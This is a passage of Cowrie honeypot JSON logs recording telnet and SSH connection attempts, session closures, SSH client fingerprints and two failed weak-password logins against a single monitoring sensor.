gCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:47.768556Z","src_ip":"186.13.24.118","session":"937ea88c00a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807146310806274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:48.103643Z","src_ip":"57.128.88.161","session":"480ef18ced63","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"secret","message":"login attempt [test1/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:48.482248Z","src_ip":"186.13.24.118","session":"937ea88c00a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08119344711304,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:48.565244Z","src_ip":"209.159.146.115","session":"6d3931c51750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.441174268722534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:48.643419Z","src_ip":"57.128.88.161","session":"197290007b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44019317626953,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:48.991833Z","src_ip":"209.159.146.115","session":"633e1e37b7e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.529091358184814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:49.014976Z","src_ip":"209.159.146.115","session":"daa04f3ecf5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042330980300903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:49.366265Z","src_ip":"57.128.88.161","session":"0395394a000f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52913045883179,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:49.437174Z","src_ip":"209.159.146.115","session":"7d7833116bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:49.655059Z","src_ip":"186.13.24.118","session":"937ea88c00a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33006,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f70f5426300","protocol":"telnet","message":"New connection: 209.159.146.115:33006 (159.203.135.109:23) [session: 6f70f5426300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:50.468007Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34756,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7cf9f071b3f","protocol":"telnet","message":"New connection: 209.159.146.115:34756 (159.203.135.109:23) [session: b7cf9f071b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:51.241594Z"}
{"eventid":"cowrie.session.closed","duration":33.955291509628296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:51.486431Z","src_ip":"209.159.146.115","session":"8a678167194e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564064741134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:52.251831Z","src_ip":"57.128.88.161","session":"8869f716da32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195567846298218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:53.188671Z","src_ip":"57.128.88.161","session":"36673d534afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.134644508361816,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:53.483721Z","src_ip":"209.159.146.115","session":"2b377d0c620b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42310,"dst_ip":"159.203.135.109","dst_port":23,"session":"81924addc067","protocol":"telnet","message":"New connection: 209.159.146.115:42310 (159.203.135.109:23) [session: 81924addc067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:53.596876Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47282,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eea136f877f","protocol":"telnet","message":"New connection: 209.159.146.115:47282 (159.203.135.109:23) [session: 3eea136f877f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:54.073586Z"}
{"eventid":"cowrie.session.closed","duration":30.3194420337677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:54.157686Z","src_ip":"57.128.88.161","session":"d3a0585f4255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857149839401245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:54.196522Z","src_ip":"57.128.88.161","session":"209ad441f5b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.821844816207886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:55.097348Z","src_ip":"209.159.146.115","session":"5dec68d84d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362536191940308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:55.610812Z","src_ip":"57.128.88.161","session":"663e3bc9c2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.063693046569824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:56.253317Z","src_ip":"209.159.146.115","session":"60de450e3bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fbc1687171c","protocol":"telnet","message":"New connection: 209.159.146.115:55572 (159.203.135.109:23) [session: 5fbc1687171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:56.355574Z"}
{"eventid":"cowrie.session.closed","duration":34.702510833740234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:57.324623Z","src_ip":"209.159.146.115","session":"dbb47b796dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126960515975952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:57.429179Z","src_ip":"57.128.88.161","session":"4565ddd2d88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58660,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0a2c803b94e","protocol":"telnet","message":"New connection: 209.159.146.115:58660 (159.203.135.109:23) [session: b0a2c803b94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:57.472780Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42acb943bce","protocol":"telnet","message":"New connection: 209.159.146.115:59980 (159.203.135.109:23) [session: a42acb943bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:57.843057Z"}
{"eventid":"cowrie.session.closed","duration":35.82967710494995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:58.179884Z","src_ip":"209.159.146.115","session":"0b2412264423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.63393592834473,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:59.927622Z","src_ip":"209.159.146.115","session":"1599b4426e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394932985305786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:00.135611Z","src_ip":"209.159.146.115","session":"ac25f37a53b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47289204597473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:00.599583Z","src_ip":"57.128.88.161","session":"2504f09fdb36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99042558670044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:01.355531Z","src_ip":"57.128.88.161","session":"e8d2d493cea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50418,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c8cb80262a","protocol":"telnet","message":"New connection: 209.159.146.115:50418 (159.203.135.109:23) [session: 57c8cb80262a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:01.621531Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51154,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b5d6ed49cd2","protocol":"telnet","message":"New connection: 209.159.146.115:51154 (159.203.135.109:23) [session: 4b5d6ed49cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:01.822710Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50376,"dst_ip":"159.203.135.109","dst_port":23,"session":"b510bdc995fd","protocol":"telnet","message":"New connection: 209.159.146.115:50376 (159.203.135.109:23) [session: b510bdc995fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:02.610610Z"}
{"eventid":"cowrie.session.closed","duration":30.635421991348267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:04.529302Z","src_ip":"209.159.146.115","session":"93ebcd9d78fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22148776054382,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:04.565730Z","src_ip":"209.159.146.115","session":"771393d25b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08ded5bb74e","protocol":"telnet","message":"New connection: 209.159.146.115:57770 (159.203.135.109:23) [session: a08ded5bb74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:04.570304Z"}
{"eventid":"cowrie.session.closed","duration":33.808629512786865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:04.922879Z","src_ip":"209.159.146.115","session":"7be3fa2ac332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39660,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a37961369aa","protocol":"telnet","message":"New connection: 209.159.146.115:39660 (159.203.135.109:23) [session: 2a37961369aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:04.988828Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41014,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30d32ff5744","protocol":"telnet","message":"New connection: 209.159.146.115:41014 (159.203.135.109:23) [session: b30d32ff5744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:05.595121Z"}
{"eventid":"cowrie.session.closed","duration":34.9983856678009,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:06.896657Z","src_ip":"209.159.146.115","session":"f038581069c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.272860050201416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.000670Z","src_ip":"209.159.146.115","session":"82c317a3f1e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47922,"dst_ip":"159.203.135.109","dst_port":23,"session":"a69e60e4d1cf","protocol":"telnet","message":"New connection: 209.159.146.115:47922 (159.203.135.109:23) [session: a69e60e4d1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.120114Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43060,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92312784405","protocol":"telnet","message":"New connection: 209.159.146.115:43060 (159.203.135.109:23) [session: b92312784405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.303092Z"}
{"eventid":"cowrie.session.closed","duration":41.37837338447571,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.343120Z","src_ip":"209.159.146.115","session":"957c69fcaed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50396,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f0527767f02","protocol":"telnet","message":"New connection: 209.159.146.115:50396 (159.203.135.109:23) [session: 5f0527767f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.786986Z"}
{"eventid":"cowrie.session.closed","duration":120.00161814689636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:07.965802Z","src_ip":"45.6.79.189","session":"1d76a3c88f63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678734064102173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:08.151224Z","src_ip":"57.128.88.161","session":"ddfc602cfb26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":37933,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb76e7dea4e","protocol":"telnet","message":"New connection: 45.6.79.189:37933 (159.203.135.109:23) [session: 6bb76e7dea4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:08.340873Z"}
{"eventid":"cowrie.session.closed","duration":35.83181643486023,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:08.693857Z","src_ip":"209.159.146.115","session":"bfbbbfb47244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8728840351104736,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:09.175831Z","src_ip":"209.159.146.115","session":"b92312784405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8783073425293,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:09.345710Z","src_ip":"209.159.146.115","session":"283135cc5081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3840d886b336","protocol":"telnet","message":"New connection: 209.159.146.115:34566 (159.203.135.109:23) [session: 3840d886b336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:10.589578Z"}
{"eventid":"cowrie.session.closed","duration":31.000922203063965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:11.882922Z","src_ip":"209.159.146.115","session":"366206a9a7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44670,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e71298ed97","protocol":"telnet","message":"New connection: 209.159.146.115:44670 (159.203.135.109:23) [session: a6e71298ed97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:13.173164Z"}
{"eventid":"cowrie.session.closed","duration":33.09446907043457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:13.516226Z","src_ip":"209.159.146.115","session":"dee1b2979b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49732,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed2aa617a11","protocol":"telnet","message":"New connection: 209.159.146.115:49732 (159.203.135.109:23) [session: 4ed2aa617a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:13.933546Z"}
{"eventid":"cowrie.session.closed","duration":32.79254913330078,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:15.496523Z","src_ip":"209.159.146.115","session":"5b6b21e5bf7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46708,"dst_ip":"159.203.135.109","dst_port":22,"session":"831cca86f31b","protocol":"ssh","message":"New connection: 159.203.92.129:46708 (159.203.135.109:22) [session: 831cca86f31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:15.864714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:15.869432Z","src_ip":"159.203.92.129","session":"831cca86f31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:15.873579Z","src_ip":"159.203.92.129","session":"831cca86f31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"123456","message":"login attempt [angel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:15.885257Z","src_ip":"159.203.92.129","session":"831cca86f31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:16.900591Z","src_ip":"159.203.92.129","session":"831cca86f31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.546590089797974,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:18.394842Z","src_ip":"209.159.146.115","session":"c29caf67691a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.831090211868286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:19.782086Z","src_ip":"209.159.146.115","session":"d440b06db012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52008,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc52e33e7f7","protocol":"telnet","message":"New connection: 209.159.146.115:52008 (159.203.135.109:23) [session: bfc52e33e7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:20.618551Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"635596ee8083","protocol":"telnet","message":"New connection: 209.159.146.115:52098 (159.203.135.109:23) [session: 635596ee8083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:20.652925Z"}
{"eventid":"cowrie.session.closed","duration":34.697505235672,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:21.865368Z","src_ip":"209.159.146.115","session":"aa8abf40ee31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.843706369400024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:22.311633Z","src_ip":"209.159.146.115","session":"6f70f5426300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.90332245826721,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:23.335945Z","src_ip":"209.159.146.115","session":"73da0713e0e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09485840797424,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:28.691641Z","src_ip":"209.159.146.115","session":"81924addc067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.558756828308105,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:29.632248Z","src_ip":"209.159.146.115","session":"3eea136f877f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddeed688bd48","protocol":"telnet","message":"New connection: 209.159.146.115:41812 (159.203.135.109:23) [session: ddeed688bd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:30.416810Z"}
{"eventid":"cowrie.session.closed","duration":39.83322072029114,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:31.074712Z","src_ip":"209.159.146.115","session":"b7cf9f071b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4841f53fbb","protocol":"telnet","message":"New connection: 209.159.146.115:44948 (159.203.135.109:23) [session: ca4841f53fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:31.134562Z"}
{"eventid":"cowrie.session.closed","duration":33.89751195907593,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:31.740441Z","src_ip":"209.159.146.115","session":"a42acb943bce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"2402352581d6","protocol":"telnet","message":"New connection: 209.159.146.115:50306 (159.203.135.109:23) [session: 2402352581d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:32.494949Z"}
